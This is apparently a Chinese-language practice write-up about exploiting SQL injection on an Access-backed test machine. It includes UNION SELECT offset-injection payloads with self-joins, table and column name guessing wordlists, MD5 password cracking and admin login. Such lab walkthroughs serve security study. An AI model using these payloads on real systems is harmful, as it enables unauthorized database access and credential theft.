0%

打一下靶机里面的注入漏洞---Access注入与偏移注入

慢慢打吧

$\color{red}\times$ 的地方是看了题解

  • 关于 $Access$ 数据库

    不支持错误数据注入,不能执行系统命令

    数据库中没有注释符,即注入时无法使用常用的 /**/ , -- , # 等。而有时可以使用 %00Null 来充当注释。但存在 PHP 中开启参数 magic_quote_gpc 魔术引号时,其会在 Null 前加上反斜杠导致失效

而判断其是 $Access$ 数据库的依据如下:

虽然都说可以根据 and exists (select * from msysobjects)>0 没有报错来判断,但我这里还是报错了,所以:

sqlmap 跑一下啊嗯

随便点一点发现 $id$ 后面的参数好像可以

$1=2$ 的时候报错,看起来是不需要奇怪符号的数字型

$order by$ 二分一下发现有 $22$ 列

Access 没有诸如 information_schema 之类的表,而其所有表都在同一个数据库下

也就是说不能读标名,而是可以利用 and exists(SELECT * FROM [表名]) 来猜测表名

以及 and exists(SELECT * FROM [表名] order by [num]) 来判断表的列数

and exists(SELECT [列名] FROM [表名] ) 来猜测列名

常见的表名

1
admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,manage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,UserGroups,user_list,login,用户,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo

常见的列名

1
username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,pass-wd,yonghu,用户,用户名,密码,帐号,id,uid,userid,user_id,adminid,admin_id,login_name

直接 intruder 爆破一下

表名有 adminnewscompany 那个还是报错了

admin 为表名爆破下列名得到

得到有效列 admin , password , id

这里可以脚本二分跑内容,但太慢了

  • 偏移注入 $\color{red}\times$

    看了解析后纠正前面几个问题:

    最开始 order by 得到的列数并不是搜到的 admin 表的列数,而是另一个表 product 的列数(这个表的名称不重要)

    也就是当前注入点对应的表是 product 表,而我们的目标表是 admin

    and exists(SELECT * FROM admin order by 6)

    得到 admin 表有 $6$ 个字段

    理一下收获:现在有当前表 product 的字段数,目标表 admin 的字段数和表名,以及目标表的一些列名(虽然不是必要的)

    现在要确定回显位置:

    UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM admin

    这句话可以理解为一个从 admin 表中拿一个 $22$ 位的虚拟表,但这里用别的表名称也行,下面就不行了

    之所以这里要用 $22$ 位的,是因为前面 id=1140 是从当前表 Product 中查询到的,而 UNION SELECT 前后列数应该相等,下面偏移查询时也应遵循这一原则

    注意这里要记得查看源代码,有些回显位并不会显示出来,但会出现在代码中

    这里出现的就是第 $3,9,13,15$ 位

    有一个公式

    比如当 $N=1$ 时,即为一级偏移:

    UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* FROM admin

    此时 UNION SELECT 后面的列数为 $16$ 个虚拟列数加上 admin 表中的 $6$ 列,恰好为 $22$ 位

    一级偏移并没有出现想要的 admin 表的列,原因是他们排在了第 $16$ 字段后,而显示位最大为第 $15$ 位

    那么再偏移一次:$N=2$ 时,即为二级偏移:

    UNION SELECT 1,2,3,4,5,6,7,8,9,10,* FROM (admin a INNER JOIN admin b on a.id=b.id)

    原理就是让目标表 admin 中的列出现在显示位上,此时 UNION SELECT 后面的列数是 $10$ 个虚拟列加上两个相同的 admin

    • [表1] INNER JOIN [表2] ON [条件]

      会合并符合条件的表 $1$ 和表 $2$ 中的行

      而像上面这样的 admin a INNER JOIN admin b on a.id=b.id

      相当于将一个 admin 表命名成 ab,对于 id 相等的行将其合并,也就是相当于在 admin 表后面加上复制的自身

      此时得到的列就如:a.id | a.user | a.passwaord | b.id | b.user | b.pass

      回到这道题,二级偏移就得到如下:

      得到了时间和看起来加密过的密码

      当然,现在仍可以进行三级偏移:

      UNION SELECT 1,2,3,4,* FROM((admin as a INNER JOIN admin as b ON a.id=b.id) INNER JOIN admin as c ON a.id=c.id)

      但并没有得到想要的用户名

      这个时候就需要对联合查询的表进行一些微调了:

      UNION SELECT 1,2,3,4,5,6,7,8,9,10,b.id,* FROM (admin a INNER JOIN admin b ON a.id=b.id)

      这里手动把 b 表的 b.id 列提到最前排,后面的就会自动的只补全剩下的列

      就得到了用户名 admin

      因为提前的 b.id 让表的剩余列向后推了一格,使 admin 出现在显示位

      也就是说,微调联合查询需要知道目标表中的一些任意列名,而知道的越多,越可以微调更多的位数,比如说:

      UNION SELECT 1,2,3,4,5,6,b.id,a.user,b.user,* FROM (admin a INNER JOIN admin b ON a.id=b.id)

      就可以向后推3格

回到这道题,密码 md5 解密得到:

dirsearch 出登录后台登录页面,直接登录即可